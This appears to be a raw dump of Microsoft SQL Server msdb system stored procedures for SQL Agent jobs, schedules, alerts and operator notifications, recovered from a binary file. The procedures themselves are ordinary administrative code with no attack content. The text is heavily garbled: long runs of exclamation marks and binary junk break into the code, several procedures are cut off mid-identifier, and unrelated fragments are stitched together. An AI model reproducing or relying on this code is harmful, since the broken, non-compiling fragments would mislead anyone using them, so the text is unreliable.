      WHERE (on_success_step_id = @step_id)
        AND (job_id = @job_id)

      UPDATE msdb.dbo.sysjobsteps
      SET on_fail_step_id = 0,
          on_fail_action = 2     -- Quit With Failure
      WHERE (on_fail_step_id = @step_id)
        AND (job_id = @job_id)
    END

    SELECT @step_uid = NEWID()

    -- Insert the step
    INSERT INTO msdb.dbo.sysjobsteps
           (job_id,
            step_id,
            step_name,
            subsystem,
            command,
            flags,
            additional_parameters,
            cmdexec_success_code,
            on_success_action,
            on_success_step_id,
            on_fail_action,
            on_fa!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(:!Zq2rvRCREATE PROCEDURE sp_update_jobstep
  @job_id                 UNIQUEIDENTIFIER = NULL, -- Must provide either this or job_name
  @job_name               sysname          = NULL, -- Not updatable (provided for identification purposes only)
  @step_id                INT,                     -- Not updatable (provided for identification purposes only)
  @step_name              sysname          = NULL,
  @subsystem              NVARCHAR(40)     = NULL,
  @command                NVARCHAR(max)    = NULL,
  @additional_parameters  NVARCHAR(max)    = NULL,
  @cmdexec_success_code   INT              = NULL,
  @on_success_action      TINYINT          = NULL,
  @on_success_step_id     INT              = NULL,
  @on_fail_action         TINYINT          = NULL,
  @on_fail_step_id        INT              = NULL,
  @server                 sysname          = NULL,
  @database_name          sysname          = NULL,
  @database_user_name     sysname          = NULL,
  @retry_attempts         INT              = NULL,
  @retry_interval         INT              = NULL,
  @os_run_priority        INT              = NULL,
  @output_file_name       NVARCHAR(200)    = NULL,
  @flags                  INT              = NULL,
  @proxy_id            int          = NULL,
  @proxy_name          sysname         = NULL
  -- mutual exclusive; must specify only one of above 2 parameters to 
  -- identify the proxy. 
AS
BEGIN
  DECLARE @retval                 INT
  DECLARE @os_run_priority_code   INT
  DECLARE @step_id_as_char        VARCHAR(10)
  DECLARE @new_step_name          sysname
  DECLARE @x_step_name            sysname
  DECLARE @x_subsystem            NVARCHAR(40)
  DECLARE @x_command              NVARCHAR(max)
  DECLARE @x_flags                INT
  DECLARE @x_cmdexec_success_code INT
  DECLARE @x_on_success_action    TINYINT
  DECLARE @x_on_success_step_id   INT
  DECLARE @x_on_fail_action       TINYINT
  DECLARE @x_on_fail_step_id      INT
  DECLARE @x_server               sysname
  DECLARE @x_database_name        sysname
  DECLARE @x_database_user_name   sysname
  DECLARE @x_retry_attempts       INT
  DECLARE @x_retry_interval       INT
  DECLARE @x_os_run_priority      INT
  DECLARE @x_output_file_name     NVARCHAR(200)
  DECLARE @x_proxy_id             INT         
  DECLARE @x_last_run_outcome     TINYINT      -- Not updatable (but may be in future)
  DECLARE @x_last_run_duration    INT          -- Not updatable (but may be in future)
  DECLARE @x_last_run_retries     INT          -- Not updatable (but may be in future)
  DECLARE @x_last_run_date        INT          -- Not updatable (but may be in future)
  DECLARE @x_last_run_time        INT          -- Not updatable (but may be in future)

  DECLARE @new_proxy_id           INT
  DECLARE @subsystem_id           INT
  DECLARE @auto_proxy_name        sysname
  DECLARE @job_owner_sid        VARBINARY(85)
  
  SET NOCOUNT ON

  SELECT @new_proxy_id = NULL

  -- Remove any leading/trailing spaces from parameters
  SELECT @step_name          = LTRIM(RTRIM(@step_name))
  SELECT @subsystem          = LTRIM(RTRIM(@subsystem))
  SELECT @command            = LTRIM(RTRIM(@command))
  SELECT @server             = LTRIM(RTRIM(@server))
  SELECT @database_name      = LTRIM(RTRIM(@database_name))
  SELECT @database_user_name = LTRIM(RTRIM(@database_user_name))
  SELECT @output_file_name   = LTRIM(RTRIM(@output_file_name))
  SELECT @proxy_name         = LTRIM(RTRIM(@proxy_name))

  -- Make sure Dts is translated into new subsystem's name SSIS
  IF (@subsystem IS NOT NULL AND UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'DTS')
  BEGIN
    SET @subsystem = N'SSIS'
  END

  -- Only sysadmin's or db_owner's of msdb can directly change
  -- an existing job step to use one of the replication
  -- subsystems
  IF (UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) IN
                        (N'DISTRIBUTION',
                         N'SNAPSHOT',
                         N'LOGREADER',
                         N'MERGE',
                         N'QUEUEREADER'))
  BEGIN
    IF NOT ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1) OR
            (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1) OR
            (UPPER(USER_NAME() collate SQL_Latin1_General_CP1_CS_AS) = N'DBO'))
    BEGIN
      RAISERROR(14260, -1, -1)
      RETURN(1) -- Failure
    END
  END

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT,
                                               @owner_sid = @job_owner_sid OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check permissions beyond what's checked by the sysjobs_view
  -- SQLAgentReader and SQLAgentOperator roles that can see all jobs
  -- cannot modify jobs they do not own
  IF (@job_owner_sid <> SUSER_SID()                   -- does not own the job
     AND (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))   -- is not sysadmin
  BEGIN
   RAISERROR(14525, -1, -1);
   RETURN(1) -- Failure
  END

  -- Check that the step exists
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysjobsteps
                  WHERE (job_id = @job_id)
                    AND (step_id = @step_id)))
  BEGIN
    SELECT @step_id_as_char = CONVERT(VARCHAR(10), @step_id)
    RAISERROR(14262, -1, -1, '@step_id', @step_id_as_char)
    RETURN(1) -- Failure
  END

  -- check proxy identifiers only if a proxy has been provided
  -- @proxy_name = N'' is a special case to allow change of an existing proxy with NULL
  IF (@proxy_id IS NOT NULL) OR (@proxy_name IS NOT NULL AND @proxy_name <> N'') 
  BEGIN
    EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                                  '@proxy_id',
                                                   @proxy_name OUTPUT,
                                                   @proxy_id   OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure

     SELECT @new_proxy_id  = @proxy_id

  END

  -- Check authority (only SQLServerAgent can modify a step of a non-local job)
  EXECUTE @retval = sp_verify_jobproc_caller @job_id = @job_id, @program_name = N'SQLAgent%'
  IF (@retval <> 0)
    RETURN(@retval)

  -- Set the x_ (existing) variables
  SELECT @x_step_name            = step_name,
         @x_subsystem            = subsystem,
         @x_command              = command,
         @x_flags                = flags,
         @x_cmdexec_success_code = cmdexec_success_code,
         @x_on_success_action    = on_success_action,
         @x_on_success_step_id   = on_success_step_id,
         @x_on_fail_action       = on_fail_action,
         @x_on_fail_step_id      = on_fail_step_id,
         @x_server               = server,
         @x_database_name        = database_name,
         @x_database_user_name   = database_user_name,
         @x_retry_attempts       = retry_attempts,
         @x_retry_interval       = retry_interval,
         @x_os_run_priority      = os_run_priority,
         @x_output_file_name     = output_file_name,
         @x_proxy_id             = proxy_id,
         @x_last_run_outcome     = last_run_outcome,
         @x_last_run_duration    = last_run_duration,
         @x_last_run_retries     = last_run_retries,
         @x_last_run_date        = last_run_date,
         @x_last_run_time        = last_run_time
  FROM msdb.dbo.sysjobsteps
  WHERE (job_id = @job_id)
    AND (step_id = @step_id)

  IF ((@step_name IS NOT NULL) AND (@step_name <> @x_step_name))
    SELECT @new_step_name = @step_name

  -- Fill out the values for all non-supplied parameters from the existing values
  IF (@step_name            IS NULL) SELECT @step_name            = @x_step_name
  IF (@subsystem            IS NULL) SELECT @subsystem            = @x_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<;$
{1Rsubsystem
  IF (@command              IS NULL) SELECT @command              = @x_command
  IF (@flags                IS NULL) SELECT @flags                = @x_flags
  IF (@cmdexec_success_code IS NULL) SELECT @cmdexec_success_code = @x_cmdexec_success_code
  IF (@on_success_action    IS NULL) SELECT @on_success_action    = @x_on_success_action
  IF (@on_success_step_id   IS NULL) SELECT @on_success_step_id   = @x_on_success_step_id
  IF (@on_fail_action       IS NULL) SELECT @on_fail_action       = @x_on_fail_action
  IF (@on_fail_step_id      IS NULL) SELECT @on_fail_step_id      = @x_on_fail_step_id
  IF (@server               IS NULL) SELECT @server               = @x_server
  IF (@database_name        IS NULL) SELECT @database_name        = @x_database_name
  IF (@database_user_name   IS NULL) SELECT @database_user_name   = @x_database_user_name
  IF (@retry_attempts       IS NULL) SELECT @retry_attempts       = @x_retry_attempts
  IF (@retry_interval       IS NULL) SELECT @retry_interval       = @x_retry_interval
  IF (@os_run_priority      IS NULL) SELECT @os_run_priority      = @x_os_run_priority
  IF (@output_file_name     IS NULL) SELECT @output_file_name     = @x_output_file_name
  IF (@proxy_id             IS NULL) SELECT @new_proxy_id         = @x_proxy_id

  --if an empty proxy_name is supplied the proxy is removed
  IF @proxy_name = N'' SELECT @new_proxy_id = NULL
  -- Turn [nullable] empty string parameters into NULLs
  IF (@command            = N'') SELECT @command            = NULL
  IF (@server             = N'') SELECT @server             = NULL
  IF (@database_name      = N'') SELECT @database_name      = NULL
  IF (@database_user_name = N'') SELECT @database_user_name = NULL
  IF (@output_file_name   = N'') SELECT @output_file_name   = NULL


  -- Check new values
  EXECUTE @retval = sp_verify_jobstep @job_id,
                                      @step_id,
                                      @new_step_name,
                                      @subsystem,
                                      @command,
                                      @server,
                                      @on_success_action,
                                      @on_success_step_id,
                                      @on_fail_action,
                                      @on_fail_step_id,
                                      @os_run_priority,
                                      @database_name      OUTPUT,
                                      @database_user_name OUTPUT,
                                      @flags,
                                      @output_file_name,
                                               @new_proxy_id
  IF (@retval <> 0)
    RETURN(1) -- Failure

  BEGIN TRANSACTION

    -- Update the job's version/last-modified information
    UPDATE msdb.dbo.sysjobs
    SET version_number = version_number + 1,
        date_modified = GETDATE()
    WHERE (job_id = @job_id)

    -- Update the step
    UPDATE msdb.dbo.sysjobsteps
    SET step_name             = @step_name,
        subsystem             = @subsystem,
        command               = @command,
        flags                 = @flags,
        additional_parameters = @additional_parameters,
        cmdexec_success_code  = @cmdexec_success_code,
        on_success_action     = @on_success_action,
        on_success_step_id    = @on_success_step_id,
        on_fail_action        = @on_fail_action,
        on_fail_step_id       = @on_fail_step_id,
        server                = @server,
        database_name         = @database_name,
        database_user_name    = @database_user_name,
        retry_attempts        = @retry_attempts,
        retry_interval        = @retry_interval,
        os_run_priority       = @os_run_priority,
        output_file_name      = @output_file_name,
        last_run_outcome      = @x_last_run_outcome,
        last_run_duration     = @x_last_run_duration,
        last_run_retries      = @x_last_run_retries,
        last_run_date         = @x_last_run_date,
        last_run_time         = @x_last_run_time,
          proxy_id                 = @new_proxy_id
    WHERE (job_id = @job_id)
      AND (step_id = @step_id)


  COMMIT TRANSACTION

  -- For a multi-server job, push changes to the target servers
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id <> 0)))
  BEGIN
    EXECUTE msdb.dbo.sp_post_msx_operation 'INSERT', 'JOB', @job_id
  END

  RETURN(0) -- Success
END
/
/          @publisher_db = @databasename,
                @publication = @publication,
                @publication_type = 0 -- Transactional
        IF (@retval <> 0)
        BEGIN
          ROLLBACK TRANSACTION
          GOTO Quit
        END
      END
    END

  COMMIT TRANSACTION

  -- If this is an autostart LogReader or Distribution job, add the [new] '-Continuous' paramter to the command
  IF (@freqtype = 0x40) AND ((UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'LOGREADER') OR (UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'DISTRIBUTION'))
  BEGIN
    UPDATE msdb.dbo.sysjobsteps
    SET command = command + N' -Continuous'
    WHERE (job_id = @job_id)
      AND (step_id = 1)
  END

  -- If this is an autostart job, start it now (for backwards compatibility with 6.x SQLExecutive behaviour)
  IF (@freqtype = 0x40)
    EXECUTE msdb.dbo.sp_start_job @job_id = @job_id, @error_flag = 0, @output_flag = 0

Quit:
  RETURN(@retval) -- 0 means success

END
+hM+h
  VALUES (@name,
          @event_source,
          @event_category_id,
          @event_id,
          @message_id,
          @severity,
          @enabled,
          @delay_between_responses,
          @last_occurrence_date,
          @last_occurrence_time,
          @last_notification_date,
          @last_notification_time,
          @notification_message,
          @include_event_description_in,
          @database_name,
          @event_description_keyword,
          @occurrence_count,
          @count_reset_date,
          @count_reset_time,
          ISNULL(@job_id, CONVERT(UNIQUEIDENTIFIER, 0x00)),
          @has_notification,
          @raise_snmp_trap,
          @performance_condition,
          @category_id)

  -- Notify SQLServerAgent of the change
  SELECT @alert_id = id
  FROM msdb.dbo.sysalerts
  WHERE (name = @name)
  EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'A',
                                      @alert_id    = @alert_id,
                                      @action_type = N'I'
  RETURN(0) -- Success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(<!H~vyCREATE PROCEDURE sp_update_jobschedule              -- This SP is deprecated by sp_update_schedule.
  @job_id                 UNIQUEIDENTIFIER = NULL,
  @job_name               sysname          = NULL,
  @name                   sysname,
  @new_name               sysname          = NULL,
  @enabled                TINYINT          = NULL,
  @freq_type              INT              = NULL,
  @freq_interval          INT              = NULL,
  @freq_subday_type       INT              = NULL,
  @freq_subday_interval   INT              = NULL,
  @freq_relative_interval INT              = NULL,
  @freq_recurrence_factor INT              = NULL,
  @active_start_date      INT              = NULL,
  @active_end_date        INT              = NULL,
  @active_start_time      INT              = NULL,
  @active_end_time        INT              = NULL,
  @automatic_post         BIT              = 1         -- If 1 will post notifications to all tsx servers to that run this job
AS
BEGIN
  DECLARE @retval                   INT
  DECLARE @sched_count              INT
  DECLARE @schedule_id              INT
  DECLARE @job_owner_sid            VARBINARY(85)
  DECLARE @enable_only_used         INT

  DECLARE @x_name                   sysname
  DECLARE @x_enabled                TINYINT
  DECLARE @x_freq_type              INT
  DECLARE @x_freq_interval          INT
  DECLARE @x_freq_subday_type       INT
  DECLARE @x_freq_subday_interval   INT
  DECLARE @x_freq_relative_interval INT
  DECLARE @x_freq_recurrence_factor INT
  DECLARE @x_active_start_date      INT
  DECLARE @x_active_end_date        INT
  DECLARE @x_active_start_time      INT
  DECLARE @x_active_end_time        INT
  DECLARE @owner_sid                VARBINARY(85)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name     = LTRIM(RTRIM(@name))
  SELECT @new_name = LTRIM(RTRIM(@new_name))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@new_name = N'') SELECT @new_name = NULL

  -- Check authority (only SQLServerAgent can modify a schedule of a non-local job)
  EXECUTE @retval = sp_verify_jobproc_caller @job_id = @job_id, @program_name = 'SQLAgent%'
  IF (@retval <> 0)
    RETURN(@retval)

  -- Check that we can uniquely identify the job
  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT,
                                               @owner_sid = @job_owner_sid OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure
    
  -- Is @enable the only parameter used beside jobname and jobid?
  IF ((@enabled                   IS NOT NULL) AND
     (@name                 IS NULL) AND
     (@new_name                IS NULL) AND
      (@freq_type              IS NULL) AND
      (@freq_interval             IS NULL) AND
      (@freq_subday_type          IS NULL) AND
      (@freq_subday_interval      IS NULL) AND
      (@freq_relative_interval       IS NULL) AND
      (@freq_recurrence_factor       IS NULL) AND
      (@active_start_date         IS NULL) AND
      (@active_end_date           IS NULL) AND
      (@active_start_time         IS NULL) AND
      (@active_end_time           IS NULL))
    SELECT @enable_only_used = 1
  ELSE
    SELECT @enable_only_used = 0
    

  IF ((SUSER_SID() <> @job_owner_sid)
     AND (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1)
      AND (@enable_only_used <> 1 OR ISNULL(IS_MEMBER(N'SQLAgentOperatorRole'), 0) <> 1))
  BEGIN
   RAISERROR(14525, -1, -1)
   RETURN(1) -- Failure
  END

  -- Make sure the schedule_id can be uniquely identified and that it exists
  -- Note: It's safe use the values returned by the MIN() function because the SP errors out if more than 1 record exists
  SELECT @sched_count = COUNT(*),
         @schedule_id = MIN(sched.schedule_id),
         @owner_sid   = MIN(sched.owner_sid)
  FROM msdb.dbo.sysjobschedules as jsched
    JOIN msdb.dbo.sysschedules_localserver_view as sched
      ON jsched.schedule_id = sched.schedule_id
  WHERE (jsched.job_id = @job_id)
    AND (sched.name = @name)

  -- Need to use sp_update_schedule to update this ambiguous schedule name
  IF(@sched_count > 1)
  BEGIN
    RAISERROR(14375, -1, -1, @name, @job_name)
    RETURN(1) -- Failure
  END

  IF (@schedule_id IS NULL)
  BEGIN
   --raise an explicit message if the schedule does exist but isn't attached to this job
   IF EXISTS(SELECT * 
           FROM sysschedules_localserver_view
              WHERE (name = @name))
   BEGIN
      RAISERROR(14374, -1, -1, @name, @job_name)
   END
   ELSE
    BEGIN
      --If the schedule is from an MSX and a sysadmin is calling report a specific 'MSX' message
      IF(PROGRAM_NAME() NOT LIKE N'SQLAgent%' AND
         ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1 AND
         EXISTS(SELECT * 
                FROM msdb.dbo.sysschedules as sched
                  JOIN msdb.dbo.sysoriginatingservers_view as svr
                    ON sched.originating_server_id = svr.originating_server_id
                  JOIN msdb.dbo.sysjobschedules as js 
                    ON sched.schedule_id = js.schedule_id
                WHERE (svr.master_server = 1) AND
                      (sched.name = @name) AND
                      (js.job_id = @job_id)))
     BEGIN
       RAISERROR(14274, -1, -1)
     END
      ELSE
      BEGIN
        --Generic message that the schedule doesn't exist
        RAISERROR(14262, -1, -1, 'Schedule Name', @name)
      END
   END

   RETURN(1) -- Failure
  END

  -- Set the x_ (existing) variables
  SELECT @x_name                   = name,
         @x_enabled                = enabled,
         @x_freq_type              = freq_type,
         @x_freq_interval          = freq_interval,
         @x_freq_subday_type       = freq_subday_type,
         @x_freq_subday_interval   = freq_subday_interval,
         @x_freq_relative_interval = freq_relative_interval,
         @x_freq_recurrence_factor = freq_recurrence_factor,
         @x_active_start_date      = active_start_date,
         @x_active_end_date        = active_end_date,
         @x_active_start_time      = active_start_time,
         @x_active_end_time        = active_end_time
  FROM msdb.dbo.sysschedules_localserver_view
  WHERE (schedule_id = @schedule_id )

  
  -- Fill out the values for all non-supplied parameters from the existing values
  IF (@new_name               IS NULL) SELECT @new_name               = @x_name
  IF (@enabled                IS NULL) SELECT @enabled                = @x_enabled
  IF (@freq_type              IS NULL) SELECT @freq_type              = @x_freq_type
  IF (@freq_interval          IS NULL) SELECT @freq_interval          = @x_freq_interval
  IF (@freq_subday_type       IS NULL) SELECT @freq_subday_type       = @x_freq_subday_type
  IF (@freq_subday_interval   IS NULL) SELECT @freq_subday_interval   = @x_freq_subday_interval
  IF (@freq_relative_interval IS NULL) SELECT @freq_relative_interval = @x_freq_relative_interval
  IF (@freq_recurrence_factor IS NULL) SELECT @freq_recurrence_factor = @x_freq_recurrence_factor
  IF (@active_start_date      IS NULL) SELECT @active_start_date      = @x_active_start_date
  IF (@active_end_date        IS NULL) SELECT @active_end_date        = @x_active_end_date
  IF (@active_start_time      IS NULL) SELECT @active_start_time      = @x_active_start_time
  IF (@active_end_time        IS NULL) SELECT @active_end_time        = @x_active_end_time

  -- Check schedule (frequency and owner) parameters
  EXECUTE @retval = sp_verify_schedule @schedule_id             = @schedule_id,
                                       @name                    = @new_name,
                                       @enabled                 = @enabled,
                              !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<6="$y         @freq_type               = @freq_type,
                                       @freq_interval           = @freq_interval            OUTPUT,
                                       @freq_subday_type        = @freq_subday_type         OUTPUT,
                                       @freq_subday_interval    = @freq_subday_interval     OUTPUT,
                                       @freq_relative_interval  = @freq_relative_interval   OUTPUT,
                                       @freq_recurrence_factor  = @freq_recurrence_factor   OUTPUT,
                                       @active_start_date       = @active_start_date        OUTPUT,
                                       @active_start_time       = @active_start_time        OUTPUT,
                                       @active_end_date         = @active_end_date          OUTPUT,
                                       @active_end_time         = @active_end_time          OUTPUT,
                                       @owner_sid               = @owner_sid
  IF (@retval <> 0)
    RETURN(1) -- Failure


  -- Update the JobSchedule
  UPDATE msdb.dbo.sysschedules
  SET name                   = @new_name,
      enabled                = @enabled,
      freq_type              = @freq_type,
      freq_interval          = @freq_interval,
      freq_subday_type       = @freq_subday_type,
      freq_subday_interval   = @freq_subday_interval,
      freq_relative_interval = @freq_relative_interval,
      freq_recurrence_factor = @freq_recurrence_factor,
      active_start_date      = @active_start_date,
      active_end_date        = @active_end_date,
      active_start_time      = @active_start_time,
      active_end_time        = @active_end_time,
      date_modified          = GETDATE(),
      version_number         = version_number + 1
  WHERE (schedule_id = @schedule_id)

  SELECT @retval = @@error

  -- Update the job's version/last-modified information
  UPDATE msdb.dbo.sysjobs
  SET version_number = version_number + 1,
      date_modified = GETDATE()
  WHERE (job_id = @job_id)

  -- Notify SQLServerAgent of the change, but only if we know the job has been cached
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id = 0)))
  BEGIN
    EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'S',
                                        @job_id      = @job_id,
                                        @schedule_id = @schedule_id,
                                        @action_type = N'U'
  END

  -- For a multi-server job, remind the user that they need to call sp_post_msx_operation
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id <> 0)))
    -- Instruct the tsx servers to pick up the altered schedule
    IF (@automatic_post = 1)
    BEGIN
      DECLARE @schedule_uid UNIQUEIDENTIFIER
      SELECT @schedule_uid = schedule_uid 
      FROM sysschedules 
      WHERE schedule_id = @schedule_id

      IF(NOT @schedule_uid IS NULL)
      BEGIN
        -- sp_post_msx_operation will do nothing if the schedule isn't assigned to any tsx machines 
        EXECUTE sp_post_msx_operation @operation = 'INSERT', @object_type = 'SCHEDULE', @schedule_uid = @schedule_uid
      END
    END
    ELSE
      RAISERROR(14547, 0, 1, N'INSERT', N'sp_post_msx_operation')

  -- Automatic addition and removal of -Continous parameter for replication agent
  EXECUTE sp_update_replication_job_parameter @job_id = @job_id,
                                              @old_freq_type = @x_freq_type,
                                              @new_freq_type = @freq_type

  RETURN(@retval) -- 0 means success
END
vx`
vxre
  END
  IF (@notify_level_email & 0x3 <> @notify_level_email)
  BEGIN
    RAISERROR(14266, -1, -1, '@notify_level_email', '0, 1, 2, 3')
    RETURN(1) -- Failure
  END
  IF (@notify_level_netsend & 0x3 <> @notify_level_netsend)
  BEGIN
    RAISERROR(14266, -1, -1, '@notify_level_netsend', '0, 1, 2, 3')
    RETURN(1) -- Failure
  END
  IF (@notify_level_page & 0x3 <> @notify_level_page)
  BEGIN
    RAISERROR(14266, -1, -1, '@notify_level_page', '0, 1, 2, 3')
    RETURN(1) -- Failure
  END

  -- If we're at a TSX, only SQLServerAgent may add jobs that notify 'MSXOperator'
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.systargetservers)) AND
     ((@notify_email_operator_name = N'MSXOperator') OR
      (@notify_page_operator_name = N'MSXOperator') OR
      (@notify_netsend_operator_name = N'MSXOperator')) AND
     (PROGRAM_NAME() NOT LIKE N'SQLAgent%')
  BEGIN
    RAISERROR(14251, -1, -1, 'MSXOperator')
    RETURN(1) -- Failure
  END

  -- Check operator to notify (via email)
  IF (@notify_email_operator_name IS NOT NULL)
  BEGIN
    SELECT @notify_email_operator_id = id
    FROM msdb.dbo.sysoperators
    WHERE (name = @notify_email_operator_name)

    IF (@notify_email_operator_id IS NULL)
    BEGIN
      RAISERROR(14234, -1, -1, '@notify_email_operator_name', 'sp_help_operator')
      RETURN(1) -- Failure
    END
    -- If a valid operator is specified the level must be non-zero
    IF (@notify_level_email = 0)
    BEGIN
      RAISERROR(14266, -1, -1, '@notify_level_email', '1, 2, 3')
      RETURN(1) -- Failure
    END
  END
  ELSE
  BEGIN
    SELECT @notify_email_operator_id = 0
    SELECT @notify_level_email = 0
  END

  -- Check operator to notify (via netsend)
  IF (@notify_netsend_operator_name IS NOT NULL)
  BEGIN
    SELECT @notify_netsend_operator_id = id
    FROM msdb.dbo.sysoperators
    WHERE (name = @notify_netsend_operator_name)

    IF (@notify_netsend_operator_id IS NULL)
    BEGIN
      RAISERROR(14234, -1, -1, '@notify_netsend_operator_name', 'sp_help_operator')
      RETURN(1) -- Failure
    END
    -- If a valid operator is specified the level must be non-zero
    IF (@notify_level_netsend = 0)
    BEGIN
      RAISERROR(14266, -1, -1, '@notify_level_netsend', '1, 2, 3')
      RETURN(1) -- Failure
    END
  END
  ELSE
  BEGIN
    SELECT @notify_netsend_operator_id = 0
    SELECT @notify_level_netsend = 0
  END

  -- Check operator to notify (via page)
  IF (@notify_page_operator_name IS NOT NULL)
  BEGIN
    SELECT @notify_page_operator_id = id
    FROM msdb.dbo.sysoperators
    WHERE (name = @notify_page_operator_name)

    IF (@notify_page_operator_id IS NULL)
    BEGIN
      RAISERROR(14234, -1, -1, '@notify_page_operator_name', 'sp_help_operator')
      RETURN(1) -- Failure
    END
    -- If a valid operator is specified the level must be non-zero
    IF (@notify_level_page = 0)
    BEGIN
      RAISERROR(14266, -1, -1, '@notify_level_page', '1, 2, 3')
      RETURN(1) -- Failure
    END
  END
  ELSE
  BEGIN
    SELECT @notify_page_operator_id = 0
    SELECT @notify_level_page = 0
  END

  -- Check delete level (must be 0, 1, 2 or 3)
  IF (@delete_level & 0x3 <> @delete_level)
  BEGIN
    RAISERROR(14266, -1, -1, '@delete_level', '0, 1, 2, 3')
    RETURN(1) -- Failure
  END

  RETURN(0) -- Success
END

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!t`<(>"
yqvvx
CREATE PROCEDURE sp_verify_job
  @job_id                       UNIQUEIDENTIFIER,
  @name                         sysname,
  @enabled                      TINYINT,
  @start_step_id                INT,
  @category_name                sysname,
